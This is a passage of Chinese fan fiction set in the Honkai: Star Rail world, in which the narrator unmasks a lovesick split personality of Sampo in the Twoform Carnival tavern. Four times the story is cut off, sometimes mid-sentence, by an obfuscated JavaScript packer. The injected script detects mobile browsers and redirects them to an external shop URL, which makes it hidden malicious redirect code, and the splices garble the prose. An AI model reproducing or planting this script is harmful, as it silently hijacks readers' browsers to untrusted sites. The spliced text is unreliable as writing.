“你真有趣,小石头。不过,你是怎么发现我不是他的?我明明演的这么像——” 你收刀:“破绽太多了。” 桑博·科斯基从来没有在男性形态叫过你亲爱的,你也从来没夸过他眼睛漂亮。 最重要的是,他们身上的*气息*不一样。你分辨得出来。 花火撇撇嘴,又凑到你身边:“表情别这么严肃嘛。我可是来帮你的哟?我在这里,可比他更有面子啊。想去什么地方,我都可以带你去哦? 她拉过你的手,冲你眨眨眼:“不过,这里人太多啦。不如换个地方说?” 『好家伙,你这一过来就抢我的活儿啊。』 桑博小发雷霆,白色的字朝着花火的脑门砸过去。 “说什么呢,我是真的诚心诚意来帮忙的!以我的本事,帮你们抓住凶手还不是手到擒来?”花火晃晃脑袋,把那些字弹开,“你遇到这种事居然不想着找花火大人帮忙,真是没拿我当朋友!” 你跟着她走上二楼。 “好了,这里就稍微清净点了。”花火松开你的手,转身冲你笑:“现在,亲爱的,你来酒馆一定有你的目的吧。说吧,你想去哪儿? “先提醒你哦,花火大人可以为了你破坏一切规则,只要你不抛下花火大人。酒馆的空间可是很复杂的,乐子神祂老人家又喜欢随机,万一一个不注意,你掉到哪个神秘的地方去了,到时候就连我都救不了你哦,小石头?” 你看向桑博。 桑博眨眨眼:『虽然她「欢愉」的品味有时候让我不敢恭维,但她在可靠的时候还是怪可靠的。』 你点点头:“那就谢谢你了,花火小姐。实不相瞒,我来酒馆是受了一位侦探的指点。在桑博没法说出案件相关信息的情况下,从他的人际关系入手是个不错的方法。所以,我想请花火小姐带我们走一遍整个酒馆——呃,酒馆应该不大吧?” “没你想象中那么大!但也不小就是啦~ ”花火蹦蹦跳跳在前面带路,“别那么拘谨,小石头,想问什么就问!就让我花火向导为你们带路介绍吧~” “想问什么就问什么的话,那我就不客气了。花火小姐,你的变装能力,是「假面愚者」的能力,还是你独有的能力?” “哎呀,这可是个好问题!小石头,你知道我们这些追逐「欢愉」的家伙,最喜欢干的事情是什么吗?” 你想了想:“招笑?” “嘶——你这话说的,还……有点道理嘛!没错,就是招笑,不是招自己笑,就是招别人笑!每一位「假面愚者」都有自己招笑的方式~ 而伪装成别人的模样,就是很多愚者‘招笑’的一环。 “所以你问我,这是不是我独有的能力?不,当然不是。但你说我是不是其中最棒的那个?呵呵呵,当然!最佳演员兼导演兼编剧,就是我,花火! “所以,小石头,在愚者的地盘,就算遇见长得和你朋友一模一样的人,也要小心哦?说不定,他/她就是某个人伪装的呢,嘻嘻。尤其是在二相乐园,这个愿力充沛的地方,可是什么都有可能发生的哦?假如你幻想自己是个人格分裂者……” 她突然贴近你,桃粉色的眼睛危险而兴奋地闪烁着,“砰!你就真的变成两个人啦!哈哈哈,有意思吧?” 你怔了一下:“那要是有人不止有两个人格,那岂不是……” “没错,会更热闹哦~ 一窝长得一模一样,或者不太一样的人,他们明明都是你,却从你脑袋里跑出来啦,这得是多大的乐子啊! “咦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285798|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小石头,前面那人是在叫你吗?” 你抬眼看去。 是不死途。侦探和它的猴子助手站在走廊尽头等你。 你走上前:“不死途先生,「旁白」先生,你们怎么在这里?” “委托人小姐,我们带来了好消息。”男人扫了眼你们三个,目光在桑博身上多停留了一会儿,“我们找到了能解除您朋友*封口咒*的方法。” 你:“咦?” 神探的效率真高! “没错,让您的朋友和我们走一趟吧!”侦探双臂交叉,嘴角扬起自信的弧度。 “……侦探的意见是,我们接下来最好分开行动。委托人小姐您继续在这里寻找线索,而桑博先生和我们一起去接触封口咒。我们猜测,凶手可能会趁机袭击有可能恢复语言功能的桑博先生,届时我们会为他提供周全的保护。”「旁白」解释道。 “没错!委托人小姐,这个提议怎么样?”不死途看向你,你们的目光在空中微微相接后便错开。 你似乎没有拒绝的理由。 就连花火也十分赞成:“安心去吧,桑博!小石头在我这里很安全哦?我会照顾好她的!” 有花火在,完全可以代替桑博指引方向。 她的出现在你的意料之外,但却意外地制造了比你预想中更好的局面。 ……不,也许不是意外。 明明桑博才是这次事件的主角,但所有人的目光都看着,他们都在等待你的决定。 包括桑博。 就在你准备张嘴的时候,他从你身侧拉住了你。 『家人……』字符跳动得十分缓慢,『你真的要走吗?』 你真的要把我推到他们那边吗?你是不是发现我的不对劲了,所以,所以—— *你正在想办法逃离我?* 你几乎能从他快维持不住的笑容中听见他的质问。 你想起在医院时和不死途的那番通话。 『“不死途先生,我是刚才在事务所楼下咨询的人,我叫琥珀。” “……” “没错,您也发现了吧?他不愿意看见您,不死途先生。他的手臂是故意在那时挤压出血的,目的就是借由伤口亟需处理的理由,避免接触您。还好「旁白」先生给我递了名片,让我能联系上你们。 “长话短说,我不知道他的伤什么时候处理好。我可以肯定,他不是我的朋友。 “我检查了他遭遇袭击的现场,那里的地面和墙缝里有些残留的血迹。之后过去不久,他就出现了,手臂上带着伤。疑点出现在伤口上——我在替他包扎的时候,发现他的伤口在小臂内侧,形状和角度只有自己动手才有可能做到。 “然而,他的长相、性格、口癖……几乎都和我的朋友一模一样……什么,幻造种?您是说,在二相乐园有可能会出现的那种被创造出来的、和某人一模一样的幻造种吗? “很遗憾,不死途先生。我身边这位‘桑博’先生,并不是幻造种。我翻了他的术前体检报告,上面写着他的种族——他并非幻造生物。 “所以,局面可能比我们之前猜想的更复杂。” 21. 二相乐园 “鉴于他的伤口是他自己动手划的,身上又没有其他的伤口,所以地上的那些血迹只有可能属于我的朋友。我猜测我的朋友可能被他关在了某一个地方。他是一位「假面愚者」,所以我想去酒馆碰碰运气。” “届时,请您配合我。如果他真的将我的朋友关在酒馆的某一个地方,就不会允许我在其中自由探索。您出现在酒馆,用‘能解开封口咒’的理由将我和他分开……那时他定会露出破绽。”』 没错……现在就是你眼前的“桑博”露出破绽的时刻。 你能从握住你的那只手中感觉到他克制不住的颤抖。 在现在这个场面里,几乎所有人都保持着心照不宣——“桑博”已经知道你对他的怀疑,他的那句『你真的要走吗?』其实是在问你,你真的要将我交给这些人吗? 你感到困惑。 就算眼前的“桑博”和真正的“桑博”有多么深的关联——即使他们有可能是同一个人的不同人格——你的朋友也的确受到了他的袭击,处于危险之中。 不管出于什么原因,你都必须找到桑博,并且在你找到他之前,侦探先生和他的助手最好帮你看着这个假“桑博”。 但为什么他还这样看着你,眼中甚至带着祈求,就好像你在做一件很残忍的事? 更令你困惑的是,这样的眼神居然真的让你动摇了—— 到底为什么呢? 你垂眸,轻轻甩开他的手。 “没事的,桑博先生。”你说,“分开行动效率更高。” 你必须清晰自己的目标。 现在,所有事情的优先级都没有救出真正的桑博·科斯基高。 至于其他的事情,只有等你找到桑博之后再弄明白了。 空中的字符开始剧烈颤动,新的文字迅速生成又迅速模糊,你平静地朝着花火说道:“我们走吧,花火小姐。” 与此同时,不死途咳了一声,双手抱胸,插入你们中间,“请吧,桑博先生。” 「旁白」跳到他身后,和侦探形成两面包夹之势。 他们看似轻松,实则已经暗中戒备,随时准备进入战斗状态。 桑博看着他们笑了笑:『这么紧张干什么,二位?既然是她让你们来的,就麻烦带下路?老实说,这封口咒实在烦人……我也深受困扰呢。』 不死途和「旁白」对视了一眼,「旁白」开口:“您愿意配合当然是最好的。” . 你和花火同行,表情比一开始沉重不少。 花火见状,拉住你,开口:“别这幅表情嘛,开心点。你这幅样子,活像个悲悼伶人!” “不好意思哈。”你调整了一下表情,“花火小姐,你应该也知道我不只是找线索的。可以告诉我,酒馆里有哪里最适合*藏东西*?” “藏东西?小石头,你是在说,酒馆的寄存区「大秘宝」吗?哼哼,本来,那里非愚者不能进入,不过嘛,偷偷跟着我,别被保管员发现,就随意啦——不过就算被发现也没关系。花火大人会罩着你的!” “桑博最近有来存东西吗?” “哎呀,这我可不知道。他向来神出鬼没的,不想被人发现的时候,谁也找不到他。不过,我可以肯定,他绝对在「大秘宝」里面藏了不少宝贝!各种星球的收藏品、星琼、宝器什么的,谁能有他懂呢? “怎么,你想去那儿啊?想去他藏东西的宝库里瞧瞧看?” 你点点头:“如果花火小姐不方便,将我送到入口处便好。” “这有什么不方便的?那句话怎么说的来着——「规则,就是用来打破的」。能藏好的宝贝才叫藏品,藏不好的嘛……只能叫奖品! “走吧,石头小姐?前往「大秘宝」,只需穿过「极乐之心」,在闪烁乐子神光辉的大灯球下面穿过,就到啦——” 你跟着她。平心而论,花火是个非常全能的向导,说话间妙趣连生,十分对你的胃口。然而,自从你来到二相乐园之后,始终被事情追赶着跑的紧迫感,让你甚至无法专心倾听她的话。 你的直觉告诉你,事情不会那么顺利。 果然,在花火带你进入「大秘宝」,顺着阶梯跳上不止谁的收藏品上的时候,那股黏腻的视线又出现了。 你在心底叹了口气。 “花火小姐。”你停住脚步,递给她一块红宝石,“送我到这里就可以了。谢谢你的帮助,这是谢礼,请务必收下。” “怎么又用起这种口气了?”花火摇摇头,“小石头,你知不知道你这样显得特别老气横秋?明明可以表现得更活泼的,哎,说白了,你还是没和我熟络起来。” 你心想,你本来就活了很多年,沉稳些是应该的。 明明在花火和不死途面前,甚至在希儿和娜塔莎面前,你一直都表现得挺沉稳可靠的,但一遇到和桑博相关的事,怎么就总爱被他的情绪左右呢? 他开心的时候,你也跟着开心,他胡闹的时候,你也跟着放肆。 就像现在也是一样。明明知道应该继续向前走,但…… “有人曾跟我说过,‘人与人之间的感情都是聊出来的。’”你微笑,“下次见面,相信我们都会对彼此更加熟络。” 不理智的感情还是占了上风。 “好吧,既然你都这么说了,那就保重了,小石头~ ”花火挥挥手,“现在我们也算是朋友了吧?看在这份友谊的份上,给你一个忠告—— “——在处理重要的人际关系时,千万不要做出让自己后悔的决定。” 目送她的身影消失,你望向某个角落。 千万不要让自己后悔……么? “桑博……”你说,“我知道你在那里。” 阴影扭曲重组,“桑博”从其中走出来,嘴角带笑,眼神阴鸷。 琥珀自你的手心凝结成刃。你眼神平静:“你把不死途和「旁白」怎么样了?” 『家人……你是不是对我有什么误解?安心,他们没有危险。我怎么会动你叫来的人呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285799|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?只是把他们甩到了某个空间里待着,不让他们碍事而已。 见你没说话,他走向你,一手转动着匕首。 『还想问什么,快问啊?比如,我是谁,和另一个我又有什么关系?另一个我被我藏到哪里了呢?他是不是被囚禁起来,是不是收着伤,流着血……是不是,死了?』 你握紧了手中的石刃:“你的封口咒,是他下的么?” 你一开始以为,“桑博”的封口咒只是他用来伪装的幌子,有了封口咒做借口,他便无需对袭击做出任何解释,可以更好地伪装成桑博。 但是这一路上的“桑博”的反常表现让你意识道,“桑博”并不在乎被你发现他的反常。 他从未掩饰看着你的眼神,也将你的不自在全看在眼里。 但出格的只有眼神。他的表情永远在笑,嘴角永远扬起,由于无法开口说话,脸比起以前更像一张面具。 听见你的问话,他的眼里闪过戾气。 一些你看不清的字符浮现在他身边又迅速消散。 『为什么■■■■心■明明我■■以■■他■■■你身边■给我下■■害我■■■表露我■■■胆■鬼懦■明明■着■不敢■』 那些被屏蔽划花的字符让你本能地觉得不安,所以你后退了一步。 这一步似乎刺激到了他,骤然间,你感觉踩在阴影中的那只脚像陷进了沼泽一样往下陷去,周围的空间也开始变幻扭曲。 花火的提醒犹在耳畔:“酒馆的空间可是很复杂的,乐子神祂老人家又喜欢随机,万一一个不注意,你掉到哪个神秘的地方去了,到时候就连我都救不了你哦,小石头?” 你目光沉凝,在最短的时间做出决断,闭上眼睛,意识延伸,攀爬上繁杂混乱的空间,用直觉选择了其中一个空间的通道。 正当你准备发力,爬进那处通道的时候,你的意识触须撞上了一道绵软的墙。 无数强烈而纷杂的情绪像潮水一样冲刷着你的触须,带着想让你全盘接受的强势侵入你的意识,让你受不住地微微战栗,伸手的动作也停滞下来。 更糟糕的是,当你想把那些意识触须收回来的时候,却发现你做不到——那些触须已被他的意识牢牢缠住,你只能被迫承受。 ……这种感觉糟糕透了。 复活之后你的战斗阅历还太浅,犯了一个相当致命的错误:对着一个感知力比你强的人蔓延出了自己的意识。你太自信了,感知与意识是属于「记忆」领域的能力,而在这条道路上,你显然没有他走得远。 你不得不睁开双眼,祈求般地呼唤他:“桑……桑博,放开我。” 那种意识完全被包裹、每一根指头都被嵌入控制的感觉,对你来说无论如何都太过了。 然而你没有得到应答。 理所当然,在战斗之中恳求敌人收手这种事本来就过于理想主义,没得到应答的话就更丢人了,就好像你是什么打不过就求饶的笨蛋似得—— 你懊恼地想。 22. 二相乐园 睁开眼,你看见的是依旧混乱的空间——你们似乎漂浮在不同维度之间的夹缝中,稍有不慎就会被某处扭曲的空间缝隙搅碎。 然而在视界中,更鲜明醒目的显然是塞满了空间的密密麻麻的字符。 ■、■■、■■■…… 全部都花的看不清,但存在感却那么强烈,大大小小的文字几乎将你周围的空间都填满。 让你都有点晕字了。 你头疼地想。 但不管是为了摆脱现在窘迫的处境,还是为了处理你们之间……复杂的关系,你都得辨认这些字。 终于有几个看得清的词语飘过,你把它们在心里念出来: 不会让你找到他的。 你:“……” 至于吗?那是另一个自己啊! 你现在已经能确定,这俩货都是桑博,是同一个人分裂出来的不同人格。 之前花火暗示过你这一点,你那时就有所猜测。 现在这个分裂出来的人格就像男鬼一样缠着你……这么抓马的事情也是让你遇上了,真是有够精彩的。 果然,只要和桑博待在一起,生活就处处是“惊喜”。 “桑、桑博,冷静一点……” 你艰难开口,“让我们坐下来好好谈谈——” 话说到一半卡了壳。你感觉到有只手从你身后环住了你的腰。 你意识到这不是正确答案。 在这个错乱的空间中,人不能完全信任自己的感官。但从你身后传来的热度是实打实的,耳后传来的鼻息带来的痒意也是实打实的。 你彻底僵住了。 这个姿势太危险了。你就像被捕食者咬住后颈的小动物,来自生物基因链的恐惧让你动弹不得。 ——要被吃掉了 ——要被杀死了 你的瞳孔放大,呼吸停滞于他带来的死亡错觉。 他张嘴了!他要咬下来了! 当微痛的触感在最脆弱的地方乍现时,你终于顾不得其他,琥珀的光华转瞬涌入这方空间,将一切混乱的、尚未混乱的、即将混乱的事物尽数凝结。 你挣脱他的桎梏,收回自己的意识,踩在被凝结的、因此失去了威胁的空间裂隙中,急促地呼吸着。 该死的,你面对纳努克都没这么狼狈过! 你平缓了一下呼吸,朝着如今局面的罪魁祸首瞪去。 这一瞪让你愣住了。 ——他居然在哭。 泪水从翠绿色的湖泊中滴落,他的落泪很安静,甚至脸上还挂着微笑,只是那双眼里的痛苦让你无论如何都无法忽视。 你下意识靠近他——即使就在刚才你还在想办法逃离——用手拭去了他的眼泪。 他的四肢被凝结的琥珀禁锢,连脖子都动弹不得。强与弱的位置顷刻调换,现在的他就像被卷入琥珀中的昆虫,只能任你施为。 你的指尖触碰到温热的泪水,心里的困惑愈发浓重。 是什么让赋予了他如此浓烈的感情?是什么折磨着他,让他如此痛苦? 你没出口问,你知道你得不到答案。 答案就藏在那塞满空间的模糊字符中,藏在他说不出口、连显示都显示不出来的东西上。 现在该怎么办呢? 你看着眼前表情脆弱的家伙,一阵头疼。 明明被袭击的是你!为什么这家伙反而一副受了大委屈的样子? “很抱歉。”虽然不知道你错哪儿了,但你还是先道歉,试图安抚他的情绪,“我知道你不愿意让我见到他,但我还是要得找到他。” 说完,你不自在地摸了摸脖颈。那里还残留着一丝奇怪的感觉,是钝痛和痒意的混合,就好像被蚊子叮了一口,伤口不大但难以忽视。 为什么要咬你呢?你心里犯嘀咕,虽然没真的咬破,但有太多比这高效的攻击方式了吧? 想不明白。你看着眼前的男人:“我留下的琥珀会随着时间消散。这里处在空间夹缝中,很隐蔽,你只要别乱动,就不会被别人发现……喂,别哭啦,我只是把你锁住了,又没欺负你,你干嘛掉小珍珠?” 他的眼角泛红:『我不想你去见他。』 “为什么?” 『他不会让我再出现在你面前的。家人……我还有好多事没说出口,好多话没能告诉你……』 他吸了口气,仿佛下定了什么决心。 『我不会再对你动手的,也不会再阻止你去见他。再给我一个机会吧,求你。把我解开,我会乖乖的。』 为什么突然放弃挣扎了?是从动手改动口,化疗改话疗了吗?你犹豫着,最终挥了挥手,让缠绕在他身上的琥珀加速融化。 身体恢复自由后,他因为惯性坐在了地上,抬起头试图咧嘴对你笑,被你制止:“别笑了。你现在笑的好难看。” 『抱歉……』他干巴巴地说,『可以拉我一把吗?』 他不装桑博的时候,两个人格之间的差异还是挺大的,你想,拉了他一把。这只的情感会更激烈,行事会更直来直往……但归根结底他们是一样的,都承受着你不知道从何而来的痛苦,所有游戏人间的行为都只是在痛苦面前苦中作乐。 每当你窥见他们眼中的痛苦时,你都想感叹一句: 何苦来哉呢? 不过现在不是感慨的时候。 你依旧密切关注着他的行为,戒备着突如其来的攻击。 然而,他只是把手放在自己的脸上……他想干什么?! 你被他的动作镇住了。 他竟然在试图撕开自己的嘴。 *封口咒*……你几乎一瞬间联想到了那个东西。 他的动作很快,转瞬之间你就看见了鲜血因为他蛮狠的动作从他嘴角溢出。 “住手!”你想制止他,但你的琥珀并未像从前那样乖巧地听从你的召唤……你身体里的力量消失了。 你想起你刚才拉他起来的动作,心想,完蛋,又中招了。 你再也不会相信桑博·科斯基——不管是哪一个他! 没有力量的你更制止不了眼前人的动作了。你只能看着他用暴力破除*封口咒*。 那些字符又开始颤动。 『抱歉,家人。我想告诉你我■■■,■■■■■■■……』
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285800|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他到底想告诉你什么?! 想想办法,你告诉自己。 只要想出那些模糊的字符代表着什么,你就可以阻止他伤害自己。 有什么是他想要告诉你却不能告诉你的?是什么让主人格给他下了限制范围精准的封口咒? 是什么他的话语无法表明,但所有的肢体语言和却从未向你隐瞒过,但你却下意识逃避的? 花火告诫过你:在处理重要的人际关系时,千万不要做出让自己后悔的决定。 你直觉到,你现在正处在某个命运的十字路口——但凡踏错一步,你和桑博的关系就会驶向截然不同的航道。 你必须相信你的直觉,做出判断—— 你抓住他的手,吼道:“你喜欢我!你是不是想说你喜欢我,快住手,你要把你的脸撕烂了,白痴!” 等你找到另一个桑博,你一定会把他们两个人统统揍一顿的,一定! 他肉眼可见地呆住了。 你吼完,稍微冷静下来之后也有点脸红。 怎么能这么迟钝呢!早在这个黑心医生那通离谱——现在看来也不离谱——的分析之后,你就应该意识到的! 你可是活了几千万年的老妖怪了,虽然失忆了,也该经验丰富点,往男女情爱的方向猜猜啊! 早猜到的话,就省下跟这家伙在这里勾心斗角的功夫了! 你睨向这家伙。他已经完全从落水狗的模样变成喜气洋洋的傻样儿了。什么痛苦啊,阴狠啊,戾气啊,全都消失不见了,没留下一丝痕迹,就是被撕破一点、还在流血的嘴角看起来怪骇人的。 “能张开嘴巴啦?”你没好气地问。 “嗯嗯,多亏了你,我的好家人,憋了一天终于能张嘴了——啊,家人,你干什么要揍我啊?等等,打人别打脸——停、停,你难道不想知道另一个我被我藏到哪儿去了吗——呃啊!K.O.——好了,我、我认输,我被你打死了。” 他躺在地上,头上被你揍出一个大包,生无可恋地翘着屁股。 你牙痒痒,最终还是没忍住,对着他的屁股踹了一脚:“死桑博!!” “呃——”他痛呼一声,捂住屁股,“家人,你反应怎么这么平淡?你你你——别揍了真的别揍了!” 你眸里闪着危险的光:“平、淡?!呵呵呵呵呵……是我揍的还不够狠?!问我平不平淡,我让你尝尝咸淡!” “错了、错了呜呜……我也没办法,家人,都怪那个卑鄙的桑博——明明是他控制不住自己的感情,我才被分裂出来的,结果他不仅限制我的行动不许我去见你,还给我下封口咒让我无法透露感情……这简直毫无人性!左脑肘击右脑!和我的底层代码完全冲突! “就是因为强烈的愿望和愿望无法满足之间的矛盾让我备受折磨,才让我想着无论如何都要破除这该死的封口咒向你告白……”他夸张地吸了吸鼻子,“姐姐,你要打,就去打那个桑博吧!” 听他这么说,你反倒停下了:“你之前还不想让我找到他,现在倒是马上转了性,巴不得我马上去找他。 “呵呵,说——你还对我隐瞒了什么?” 23. 二相乐园 “桑博”眨了眨眼:“是这样的家人,你知道我只是个副人格对吧?在二相乐园,愿力充沛,「欢愉」也经常显灵,所以经常会有不可思议的事情发生。我嘛,就是其中一例—— “我本来只是个幻造种,由那个坏桑博的心念与愿力幻化而成,打也打不过他,躲也躲不掉他,属于有强烈执念但朝生暮死的鬼魂。本来我是搅不出这样的风浪的,哈哈哈哈,不仅差点杀了他——咳咳,其实杀不掉,顶多两个人格融为一体——还见到了你,我亲爱的朋友! “而这一切,都是因为,我虽然没能继承到他的力量,但我继承到了他的帅气和智商!勉强算个聪明人。所以,我趁着他回来的世纪,我找上了乐子神——祂真乐于助人!祂把我从幻造种变成了真正的*人类*——虽然只有一天——还给了我力量,呃,还有一点对付你的方法。 “祂说你是个容易心软的家伙,这辈子最见不得男人哭了——表现得傻气一点,最好是备受折磨的样子,你肯定会中招。呜啊,亲爱的,轻点!” 你冷笑:“你知道吗,你其实并没有继承到他的智商。” 闹了半天,这一切都是阿哈的恶作剧!! 该死的阿哈,你一定要……呃,这个打不过。 难怪祂这么爽快地就把你从雅利洛六号腾挪到了二相乐园,原来是有好戏等着你! 祂干嘛要这样针对你?你总感觉祂的行为像是在报复…… 扭曲的空间中不知从何处传来阵阵窃笑声。 “你看见了吧,祂一直在!你要算账的话,就去找祂和那个坏桑博吧!至于我,呜呜,好姐姐,乐子神只给了我一天成为真正人类的时间,时间一到,我就会彻底消散……” 你抓住他后脖颈的衣领,将他的头拉到你面前,仔细观察了一下他。 ……还真是。他的透明度比之前要低上那么一点点…… “桑博”满脸真诚地看着你。 看起来真的无所谓自己的消失。 你努力代入他的视角思考,觉得如果哪天你自己也喜欢上了一个人,马上就要死了……呃,你恐怕也会在死之前把心意坦诚。 至于这个行为的卑鄙和不高尚,你估计也不会想这么多。 但是,“桑博”对你的“喜欢”,更像是一种设定,恐怕连他自己都不知道为什么对你有这样的执念。 如果这种“喜欢”真的存在且确有根源,那一定是在你们的过去——在被你抛弃的那些记忆中。 在那些记忆中,一定有桑博的一席之地。 你露出核善的笑容:“放心吧,你这么可、爱,还刚刚向我表白,我怎么会轻易让你死掉呢?” 谁还不会求助乐子神啦? “拜托,阿哈,你不能就这么坐在旁边当观众!”你朝笑声来源的方向抗议,“好歹给我一点力量吧,求你啦!” 『哈哈——』笑声自你的耳畔响起,一双手从背后伸出,覆盖上你的脸和面具——『乐意效劳,亲爱的!』 琥珀面具瞬间变换了形态,如同在风中燃烧的烈火,融化的树脂在你的眼皮上滚动重塑。 你被弄得有些痒,忍不住闭上眼睛。再睁开时,你感觉你的整个视野都变得更清晰了。 然而诡异的是,当你用手摸面具,感受它的新变化时,你发现原本空出来留给眼睛的位置被遮住了,也就是说,它成了一副盲具。 你:“……” 盲具也能看见,这就是阿哈的东西,一切解释权归阿哈所有。 不过你没空纠结这些细枝末节,这幅面具上现在有「欢愉」的赐福,你能用它做很多有意思的事情,比如—— 你指着“桑博”的脑门:“变成*一块香香软软的小蛋糕*吧!” “桑博”发出不可名状的叫声,半晌后,他砰地变成了一块蓝莓蛋糕。 蓝莓蛋糕委屈地叫到:“我不要变成蛋糕!我要作为人活着——” 你用手狠捏了它一把。手感极佳,快回弹,有真实的蓝莓果香,在二相乐园这么精致的捏捏至少要150信用点。 你真是个伟大的幻造种整容大师,将一个无用的男人变成了可可爱爱香香软软的小蛋糕。 你又捏了一把,蓝莓蛋糕叽地尖叫了一声:“我老桑博真的没脸见人啦!家人,你把我浑身上下最值钱的一张脸弄丢了,我、我要找块豆腐撞死!” “你不会撞死,你只会变成豆腐蓝莓蛋糕。”你冷酷地说出事实,感觉此人变成蛋糕后更沙雕了,“你把我喊来的侦探和助手扔哪儿了?” “嘤……我带你去。”蓝莓蛋糕委屈巴巴地带路。你跟着它在酒馆的空间中穿梭,直到周围的空间变得狭窄而黑暗。 你沉默地看着头顶的空间,和正往里瞅的猴子对上了视线。 头一次以粑粑的视角观察世界,真是有够……新鲜的。 “所以,你把他们冲进了马桶里?”你咬牙切齿,“现在我们必须用这种糟糕的方式,和他们一样在众目睽睽之下从马桶里喷射出来,才能见到他们?” “这是最近、最方便的一条路了,家人!”蓝莓蛋糕说,“嘿嘿,您不是还要去找我那可恶的主人格算账嘛?我就擅自做主,给你朝着最近的路带了!”瞧见你的脸色不好,它连忙补充道:“这里的马桶可香了,纯天然无污染,里面的水舀起来能直接兑酒喝……” 你打了个寒噤,决定以后再也不喝酒馆内提供的任何饮品。 “委托人小姐?”不死途也凑过来,手扒着马桶壁往里瞅,“你也被冲到这儿来了啊……需要搭把手吗?” “不用了。”你庆幸你带了面具,“请让让,不死途先生……我要出来了。” 以一个潇洒(你宁可没那么潇洒!)的姿态,你拉着蓝莓蛋糕,从「黄金告解室」中的马桶中喷涌而出。 「旁白」:“侦探看着委托人小姐抱着一个蓝莓蛋糕从马桶中跳出来,脸上带着比之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285801|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻松了不少的微笑,他不由意识到,事态似乎发生了一些预料之外的变化……” 不死途一拍手:“凶手变成了蓝莓蛋糕!” 「旁白」:“……不死途先生,你的脑子是被冰箱门夹了吗?凶手怎么可能变成蓝莓蛋糕?!物种都不同好吗,除非阿哈显灵——” “神探啊,不死途先生!”「旁白」的话卡在一半,它看见你抓住不死途的手,附和道:“你推理的一点没毛病啊,凶手变成了蓝莓蛋糕!” 「旁白」:“……” 他真的在原始博士制造的那场大型模因病毒感染中活下来了吗? “这就是侦探的必备素养:哪怕被封锁在大型公共厕所里,也能完成案件的推理,找出事情的真相!”不死途自信地说,又看向你和蓝莓蛋糕:“所以……委托费……” 你爽快地将信用点打到他卡上:“合作愉快!” “谢谢惠顾!” 蓝莓蛋糕不满:“喂,别客套了——到底什么时候去找另一个我?” “怎么,找到他,然后向他炫耀你的新形态吗?”你没好气地抓起它,“告诉我怎么走,小蛋糕——这次不要冲马桶!” “家人,这里的马桶真的不脏,大家都爱来这里上——呜啊,别捏我的帅脸!” 不死途看着你们离开的背影:“老白啊,我有种直觉……这不会是这位小姐最后一次委托我们办案。” 「旁白」摇摇头,懒得理他:“回冰箱睡觉吧,不死途先生。” …… 「大秘宝」最顶层的隐秘空间内。 花火朝着眼前的画框耸耸肩:“桑博,这次可不是我不够意思哦?乐子神祂亲自出手了,小石头又确实很在意你,这一来一回的,就把事情变成这样了哦?” 画框里的蓝发男子动了动,有气无力地说:“你敢说你没幸灾乐祸?这下我算是彻底完了……” “哎呀,只不过承载欲望和感情的副人格失去控制,去给心爱的人告白了嘛。只不过是暗恋变失恋,没关系的,只不过是每一个男孩子都要经历的一环,花火大人不会嘲笑你的!” “喂喂,谁告诉你我就一定会失恋的,我们以前……”说道这里,桑博突然住嘴。 “曾经在一起过?互相表露过心意?”花火摇摇头,“拜托,她已经失忆了。现在的她,在找回记忆之前,都没有责任和义务去承担之前的感情——你应该比我更心知肚明吧?哎不对,等等。” 她皱起眉头,叉着腰:“你该不会是故意的吧?” “故意?故意什么?”桑博摊手,“被打的半死关在画里的人可是我耶……” “哼,少装。”花火来回踱步,“好哇,你个狡诈的桑博,我还以为你真栽了呢!仔细想想,那人格是你自己分裂出来的,他是什么性格,傻不傻、冲不冲动,这些还不是由你决定?故意造一个翻不起大风浪的分身替你告白,天哪,我怎么会有你这么糟糕的朋友!” 24. 二相乐园 “喂喂,别污蔑我啊,这些可都是你的主观臆断哈。” “好,好,都是我的主观臆断——”花火挥挥手,脚步又停住了:“不过,你为什么这么着急呢?” 她眯起眼睛:“关于她的事情,你总是讳莫如深,每次回酒馆也你也没说出点什么。和她在雅利洛六号上的那些经历,还都是你今天向我求助我才从你那儿挖到的。 